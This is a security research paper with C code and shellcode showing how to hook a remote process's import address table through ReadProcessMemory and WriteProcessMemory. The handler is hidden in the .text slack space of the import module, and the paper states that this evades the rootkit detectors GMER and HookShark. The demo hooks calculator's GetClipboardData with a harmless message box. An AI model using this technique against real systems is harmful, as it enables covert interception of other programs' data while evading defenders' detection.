IAT Hooking Revisited

John Leitch

8/1/2011

john@autosectools.com

http://www.autosectools.com/

Introduction

Import address table (IAT) hooking is a well documented technique for intercepting calls to imported functions. However, most methods rely on suspicious API functions and leave several easy to identify artifacts. This paper explores different ways IAT hooking can be employed while circumventing common detection mechanisms.

The Traditional Way

IAT hooking is usually achieved via DLL injection. When the DLL containing the hooking code is injected into the target process, it is given access to the process's memory. From there it can rewrite the IAT entries, pointing them to handlers within the DLL. While this works, it is easy to detect. Depending on the approach taken several different types of artifacts can be left behind such as registry keys in the hive or threads and modules in memory. Complicating matters further, the address of the handler points to the injected module rather than the module exporting the original function.

These traces do not bode well for covert activities. Modified IAT entries are easy to detect by verifying that every entry in in the table points to the appropriate module (or at least to a windows system module). Any malicious modules, once identified, can easily be dumped from memory for further analysis.

A Different Approach

Many pitfalls of the DLL injection approach can be avoided by doing away with DLL injection altogether. This can be accomplished by interacting with the target process solely using OpenProcess, NtQueryInformationProcess, ReadProcessMemory, and WriteProcessMemory. While this is quite a bit more work there are a few significant payoffs:

1. Fewer artifacts (no DLLs written to the harddrive, no DLLs in memory, no threads owned by other processes etc).
2. Fewer calls to functions that might be considered suspicious (VirtualAllocEx, CreateRemoteThread, and OpenProcess with PROCESS_CREATE_THREAD).
3. Harder to detect because the hook handler is located within the .text section of the import module.

While lengthy and error prone, the steps to accomplish this are straight forward:

1. Open the process with query limited and VM operation/read/write rights.
2. Call NtQueryInformationProcess to get the Process Enviroment Block (PEB) base of the external process.
3. Read the main image of the external process by using the image base from the PEB and ReadProcessMemory.
4. Find the target ILT/IAT entry in the external process using ReadProcessMemory.
5. Copy the handler function from the process performing the hooking to a buffer and patch it with the original import address.

6. Write the handler function to the .text section of the appropriate import module within the external process using WriteProcessMemory.
7. Update the import address using WriteProcessMemory.

The result is IAT hooking that is not detected by GMER 1.0.15.15641 or HookShark 0.9. In this proof of concept we will be hooking the windows calculator import USER32.dll!GetClipboardData.

Locating The Remote PEB

The easiest way to locate the PEB of an external process is to call OpenProcess with PROCESS_QUERY_LIMITED_INFORMATION rights, then pass the process handle and ProcessBasicInformation (0) to NtQueryInformationProcess.

```
DWORD FindRemotePEB(HANDLE hProcess)
{
	HMODULE hNTDLL = LoadLibraryA("ntdll");

	if (!hNTDLL)
		return 0;

	FARPROC fpNtQueryInformationProcess = GetProcAddress
	(
		hNTDLL,
		"NtQueryInformationProcess"
	);

	if (!fpNtQueryInformationProcess)
		return 0;

	NtQueryInformationProcess ntQueryInformationProcess =
		(NtQueryInformationProcess)fpNtQueryInformationProcess;

	PROCESS_BASIC_INFORMATION* pBasicInfo =
		new PROCESS_BASIC_INFORMATION();

	DWORD dwReturnLength = 0;

	ntQueryInformationProcess
	(
		hProcess,
		0,
		pBasicInfo,
		sizeof(PROCESS_BASIC_INFORMATION),
		&dwReturnLength
	);

	return pBasicInfo->PebBaseAddress;
}
```

Reading The Remote Image

By passing the ImageBaseAddress member of PEB and ReadRemoteMemory we can read the image from the external process.

```
PLOADED_IMAGE ReadRemoteImage(HANDLE hProcess, LPCVOID lpImageBaseAddress)
{
      BYTE* lpBuffer = new BYTE[BUFFER_SIZE];

      BOOL bSuccess = ReadProcessMemory
      (
            hProcess,
            lpImageBaseAddress,
            lpBuffer,
            BUFFER_SIZE,
            0
      );

      if (!bSuccess)
            return 0;

      PIMAGE_DOS_HEADER pDOSHeader = (PIMAGE_DOS_HEADER)lpBuffer;

      PLOADED_IMAGE pImage = new LOADED_IMAGE();

      pImage->FileHeader =
            (PIMAGE_NT_HEADERS32)(lpBuffer + pDOSHeader->e_lfanew);

      pImage->NumberOfSections =
            pImage->FileHeader->FileHeader.NumberOfSections;

      pImage->Sections =
            (PIMAGE_SECTION_HEADER)(lpBuffer + pDOSHeader->e_lfanew +
            sizeof(IMAGE_NT_HEADERS32));

      return pImage;
}
```

Finding The Remote Import Address

Given the remote image header we must find the image import descriptor for user32.dll and make our way to the ILT and IAT using ReadProcessMemory, just as we did to acquire the remote image.

```
PIMAGE_IMPORT_DESCRIPTOR pImportDescriptors = ReadRemoteImportDescriptors
(
      hProcess,
      pPEB->ImageBaseAddress,
      pImage->FileHeader->OptionalHeader.DataDirectory
);

[…]

IMAGE_IMPORT_DESCRIPTOR descriptor = pImportDescriptors[i];
```

```
char* pName = ReadRemoteDescriptorName
(
      hProcess,
      pPEB->ImageBaseAddress,
      &descriptor
);

[…]

PIMAGE_THUNK_DATA32 pILT = ReadRemoteILT
(
      hProcess,
      pPEB->ImageBaseAddress,
      &descriptor
);

[…]

PIMAGE_THUNK_DATA32 pIAT = ReadRemoteIAT
(
      hProcess,
      pPEB->ImageBaseAddress,
      &descriptor
);
```

Injecting Code And Patching The IAT

As was state earlier, the location of the hook handler in memory can give away the presence of hooking. Optimally, the handler for our hook should be located within the .text section of the module that exports the target function. Below is a function that will allow us to find the appropriate remote import module by name.

```
PVOID FindRemoteImageBase(HANDLE hProcess, PPEB pPEB, char* pModuleName)
{
      PPEB_LDR_DATA pLoaderData = ReadRemoteLoaderData(hProcess, pPEB);

      PVOID firstFLink = pLoaderData->InLoadOrderModuleList.Flink;
      PVOID fLink = pLoaderData->InLoadOrderModuleList.Flink;

      PLDR_MODULE pModule = new LDR_MODULE();

      do
      {
            BOOL bSuccess = ReadProcessMemory
            (
                  hProcess,
                  fLink,
                  pModule,
                  sizeof(LDR_MODULE),
                  0
            );

            if (!bSuccess)
```

```
                  return 0;

            PWSTR pwBaseDllName =
                  new WCHAR[pModule->BaseDllName.MaximumLength];

            bSuccess = ReadProcessMemory
            (
                  hProcess,
                  pModule->BaseDllName.Buffer,
                  pwBaseDllName,
                  pModule->BaseDllName.Length + 2,
                  0
            );

            if (bSuccess)
            {
                  size_t sBaseDllName = pModule->BaseDllName.Length / 2 + 1;
                  char* pBaseDllName = new char[sBaseDllName];

                  WideCharToMultiByte
                  (
                        CP_ACP,
                        0,
                        pwBaseDllName,
                        pModule->BaseDllName.Length + 2,
                        pBaseDllName,
                        sBaseDllName,
                        0,
                        0
                  );

                  if (!_stricmp(pBaseDllName, pModuleName))
                        return pModule->BaseAddress;
            }

            fLink = pModule->InLoadOrderModuleList.Flink;
      } while (pModule->InLoadOrderModuleList.Flink != firstFLink);

      return 0;
}
```

Now we need a good place within the .text section to inject our code. Fortunately for us, the raw size of the .text section must be a multiple of the file alignment specified in the portable executable optional header. Unless the actual size of the code is divisible by the file alignment, there will probably be enough space at the end of the .text section to allow for injection of a small piece of code.

The code below can be used to acquire an absolute address that will place the injected code at the end of the import module's .text section.

```
DWORD dwHandlerAddress = (DWORD)pImportImageBase +
      pImportTextHeader->VirtualAddress +
      pImportTextHeader->SizeOfRawData -
      dwHandlerSize;
```

To function properly, the code injected at the calculated address must be position-independent. In this proof of concept I will be using my windows messagebox shellcode with a couple modifications, namely a function prologue and epilogue along with a jump to 0xDEADBEEF. The assembly (handler.asm in the sample project) is assembled using NASM and then converted into a hex escaped C string.

```
char* handler =
      "\x55\x31\xdb\xeb\x55\x64\x8b\x7b"
      "\x30\x8b\x7f\x0c\x8b\x7f\x1c\x8b"
      "\x47\x08\x8b\x77\x20\x8b\x3f\x80"
      "\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
      "\x78\x3c\x8b\x57\x78\x01\xc2\x8b"
      "\x7a\x20\x01\xc7\x89\xdd\x8b\x34"
      "\xaf\x01\xc6\x45\x8b\x4c\x24\x04"
      "\x39\x0e\x75\xf2\x8b\x4c\x24\x08"
      "\x39\x4e\x04\x75\xe9\x8b\x7a\x24"
      "\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a"
      "\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01"
      "\xf8\xc3\x68\x4c\x69\x62\x72\x68"
      "\x4c\x6f\x61\x64\xe8\x9c\xff\xff"
      "\xff\x31\xc9\x66\xb9\x33\x32\x51"
      "\x68\x75\x73\x65\x72\x54\xff\xd0"
      "\x50\x68\x72\x6f\x63\x41\x68\x47"
      "\x65\x74\x50\xe8\x7d\xff\xff\xff"
      "\x59\x59\x59\x68\xf0\x86\x17\x04"
      "\xc1\x2c\x24\x04\x68\x61\x67\x65"
      "\x42\x68\x4d\x65\x73\x73\x54\x51"
      "\xff\xd0\x53\x53\x53\x53\xff\xd0"
      "\xb9\x07\x00\x00\x00\x58\xe2\xfd"
      "\x5d\xb8\xef\xbe\xad\xde\xff\xe0";
```

Before our handler is injected 0xDEADBEEF must be replaced with the address of the function we are hooking. The function below does just that when supplied with the appropriate variables.

```
BOOL PatchDWORD(BYTE* pBuffer, DWORD dwBufferSize, DWORD dwOldValue,
                DWORD dwNewValue)
{
      for (int i = 0; i < dwBufferSize - 4; i++)
      {
            if (*(PDWORD)(pBuffer + i) == dwOldValue)
            {
                  memcpy(pBuffer + i, &dwNewValue, 4);

                  return TRUE;
            }
      }

      return FALSE;
}
```

Once the handler code is patched up it can be injected and the import address can be modified to point to it.

```
// Write handler to .text section
```

```
bSuccess = WriteProcessMemory
(
      hProcess,
      (LPVOID)dwHandlerAddress,
      pHandlerBuffer,
      dwHandlerSize,
      0
);

if (!bSuccess)
{
      printf("Error writing process memory");
      return FALSE;
}

printf("Handler address: 0x%p\r\n", dwHandlerAddress);

LPVOID pAddress = (LPVOID)((DWORD)pPEB->ImageBaseAddress +
      descriptor.FirstThunk + (dwOffset * sizeof(IMAGE_THUNK_DATA32)));

// Write IAT
bSuccess = WriteProcessMemory
(
      hProcess,
      pAddress,
      &dwHandlerAddress,
      4,
      0
);

if (!bSuccess)
{
      printf("Error writing process memory");
      return FALSE;
}

return TRUE;
```

Making the call to hook the function is simple enough. All we need is the target process Id, module name, function name, handler, and handler size.

```
HookFunction
(
      dwProcessId,
      "user32.dll",
      "GetClipboardData",
      handler,
      0x100
);
```

Testing The Proof Of Concept

Compile the application (see resources for download information). Before running it, ensure that an instance of calculator is running. Run the application and it will attempt to hook the first process named calc.exe that it encounters. Confirm that no errors occurred. Output from successful injection should look similar to this:

```
Original import address: 0x762F715A
Handler address: 0x76318300

Press any key to continue . . .
```

To test the hook use the calculators paste feature. Upon doing so a message box should appear. When the message box is closed calculator should resume functioning as expected.

Conclusion

While much progress has been made in hooking detection, the IAT hooking described in this paper demonstrates that established rootkit detecting applications can be circumvented using variations of established techniques. It is very likely that applying the same methods to different forms of hooking such as EAT hooking or inline hooking will result in similar improvements.

Resources

IAT Hooking Revisited Proof Of Concept Source
http://code.google.com/p/iat-hooking-revisited/

The Rootkit Arsenal: Escape and Evasion in the Dark Corners of the System
http://www.amazon.com/Rootkit-Arsenal-Escape-Evasion-Corners/dp/1598220616

Malware Analyst's Cookbook and DVD: Tools and Techniques for Fighting Malicious Code
http://www.amazon.com/Malware-Analysts-Cookbook-DVD-Techniques/dp/0470613033

Microsoft PE and COFF Specification
http://msdn.microsoft.com/en-us/windows/hardware/gg463119

Packet Storm
http://packetstormsecurity.org/